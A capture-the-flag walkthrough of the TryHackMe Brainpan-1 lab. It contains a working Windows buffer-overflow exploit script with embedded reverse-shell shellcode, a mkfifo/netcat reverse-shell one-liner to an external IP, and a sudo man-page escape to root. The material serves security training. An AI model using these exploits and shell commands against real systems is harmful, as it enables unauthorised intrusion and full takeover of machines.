Brainpan-1
A medium Windows and Linux box from TryHackMe, use a remote Windows buffer overflow for initial access, then leverage sudo priveleges for the man command to get root.
Recon
Running the default nmap
sudo nmap -sC -sV -Pn 10.10.63.155
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
See an unrecognized program runnning on 9999 - connecting to it with netcat
nc 10.10.63.155 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
It crashes after inputting 1000 A’s - maybe a buffer overflow?
Connecting to the http server - its just a static page
Running gobuster to see if there is anything hidden on the webserver
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --url http://10.10.63.155:10000
Find a /bin/ directory
/bin (Status: 301) [Size: 0] [--> /bin/]
Navigating to it, see theres a brainpan.exe file, downloading it can move towards exploiting the assumed buffer overflow
Exploitation
Now moving the exe over to a windows VM, using immunity debugger, and the Mona script to try and exploit the exe
First writing a simple fuzzer to see generally where the overflow occurs
#!/usr/bin/env python3
import socket, time, sys
ip = "LOCAL_IP"
port = 9999
timeout = 5
string = "A" * 100
while True:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip,port))
s.settimeout(5)
s.recv(1024)
try:
print(f"Fuzzing with {len(string)} bytes")
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
except:
print(f"Fuzzing crashed at {len(string)} bytes")
sys.exit(0)
string += 100 * 'A'
time.sleep(1)
python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing crashed at 600 bytes
Now can make a pattern to see where the EIP offset is
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
And then use that as the payload within a simple exploit script
import socket
ip = "LOCAL_IP"
port = 9999
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Running the script
python3 exploit.py
See the value in the EIP register
Then find the offset with
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134
[*] Exact match at offset 524
Now we can control the EIP register
Next is finding bad characters that break the program, first need to generate a list from 0x01 to 0xff, then send it as a payload, then check if the characters came through exactly as they were sent - removing those that weren’t
Setting the found offset and the new char map payload in the exploit file
offset = 524
overflow = "A" * offset
payload = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")****
Rerun brainpan.exe in the debugger, and run the script again
Right click on the ESP buffer and click “Follow in Dump”
Then in the bottom left pane, should see the payload, counting from 0x01 to 0xff - if any of the characters aren’t counting in order, they are bad characters and need to be removed, rerunning the process removing bad characters untill the entire remaining payload is bad-character-free
Here, the payload doesn’t have any bad character, all the chars from 0x01 to 0xff came through properly - only bad character is the null byte 0x00
Now can move on to finding a JMP ESP point to launch the exploit
Searching for instances of the JMP ESP instruction with mona, using the command line at the bottom of Immunity Debugger
!mona jmp -r esp -b "\x00"
Found one!
At address 0x311712f3 - will need to input this backwards in the exploit because windows 7 is little endien
Also adding a 32 byte NOP sled
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 32
And then generating the reverse shell payload
msfvenom -p windows/shell_reverse_tcp LHOST=LOCAL_IP LPORT=4444 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00"
Making the final script
import socket
ip = "LOCAL_IP"
port = 9999
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 32
payload = ("\xbd\xa8\x41\x6b\x87\xda\xcd\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x52\x31\x6f\x12\x03\x6f\x12\x83\x47\xbd\x89\x72\x6b\xd6\xcc"
"\x7d\x93\x27\xb1\xf4\x76\x16\xf1\x63\xf3\x09\xc1\xe0\x51\xa6"
"\xaa\xa5\x41\x3d\xde\x61\x66\xf6\x55\x54\x49\x07\xc5\xa4\xc8"
"\x8b\x14\xf9\x2a\xb5\xd6\x0c\x2b\xf2\x0b\xfc\x79\xab\x40\x53"
"\x6d\xd8\x1d\x68\x06\x92\xb0\xe8\xfb\x63\xb2\xd9\xaa\xf8\xed"
"\xf9\x4d\x2c\x86\xb3\x55\x31\xa3\x0a\xee\x81\x5f\x8d\x26\xd8"
"\xa0\x22\x07\xd4\x52\x3a\x40\xd3\x8c\x49\xb8\x27\x30\x4a\x7f"
"\x55\xee\xdf\x9b\xfd\x65\x47\x47\xff\xaa\x1e\x0c\xf3\x07\x54"
"\x4a\x10\x99\xb9\xe1\x2c\x12\x3c\x25\xa5\x60\x1b\xe1\xed\x33"
"\x02\xb0\x4b\x95\x3b\xa2\x33\x4a\x9e\xa9\xde\x9f\x93\xf0\xb6"
"\x6c\x9e\x0a\x47\xfb\xa9\x79\x75\xa4\x01\x15\x35\x2d\x8c\xe2"
"\x3a\x04\x68\x7c\xc5\xa7\x89\x55\x02\xf3\xd9\xcd\xa3\x7c\xb2"
"\x0d\x4b\xa9\x15\x5d\xe3\x02\xd6\x0d\x43\xf3\xbe\x47\x4c\x2c"
"\xde\x68\x86\x45\x75\x93\x41\xaa\x22\x99\xc2\x42\x31\x9d\xf5"
"\xce\xbc\x7b\x9f\xfe\xe8\xd4\x08\x66\xb1\xae\xa9\x67\x6f\xcb"
"\xea\xec\x9c\x2c\xa4\x04\xe8\x3e\x51\xe5\xa7\x1c\xf4\xfa\x1d"
"\x08\x9a\x69\xfa\xc8\xd5\x91\x55\x9f\xb2\x64\xac\x75\x2f\xde"
"\x06\x6b\xb2\x86\x61\x2f\x69\x7b\x6f\xae\xfc\xc7\x4b\xa0\x38"
"\xc7\xd7\x94\x94\x9e\x81\x42\x53\x49\x60\x3c\x0d\x26\x2a\xa8"
"\xc8\x04\xed\xae\xd4\x40\x9b\x4e\x64\x3d\xda\x71\x49\xa9\xea"
"\x0a\xb7\x49\x14\xc1\x73\x69\xf7\xc3\x89\x02\xae\x86\x33\x4f"
"\x51\x7d\x77\x76\xd2\x77\x08\x8d\xca\xf2\x0d\xc9\x4c\xef\x7f"
"\x42\x39\x0f\xd3\x63\x68")
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
And then run brainpan.exe outside the debugger, run the script with a nc listener, and get a reverse shell to the local VM windows box
Now changing the LHOST to the TryHackMe VPN IP - get reverse shell to the lab target
Get a really weird cmd shell - when the file system is clearly linux, get a second reverse shell by using bash to get a proper linux reverse shell
cd ../../bin
bash -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.107.137 8888 >/tmp/f"
And catch the reverse shell on a listerner - now have a proper linux reverse shell
Upgrading the shell with python, get a fully interactive shell
python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
# on attacker press CTRL+Z then type
stty raw -echo; fg
# terminal might be a lil messed up when you get back to the revshell - use reset to clean it up
reset
Within this shell run sudo -l, and see that we can run /home/anansi/bin/anansi_util
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
Running it, see that it executes the man command when you look something up with the “manual” option
puck@brainpan:/usr/local/bin$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
Trying to run
sudo /home/anansi/bin/anansi_util manual grep
See that it is just the man pages
Can use GTFOBins and see there is an escape, a way to run /bin/sh by entering into the man page for some executable, then typing
!/bin/sh
puck@brainpan:/usr/local/bin$ sudo /home/anansi/bin/anansi_util manual man
No manual entry for manual
# whoami
root